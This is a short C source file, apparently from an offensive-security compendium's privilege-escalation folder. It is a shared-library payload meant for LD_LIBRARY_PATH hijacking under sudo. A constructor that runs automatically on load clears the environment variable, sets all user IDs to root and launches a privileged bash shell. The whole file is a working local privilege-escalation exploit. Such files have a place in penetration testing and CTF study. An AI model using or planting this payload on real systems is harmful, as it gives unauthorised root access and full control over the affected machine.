killchain-compendium/post exploitation/priv_esc/sudo/library_path.c

11 lines
184 B
C

#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}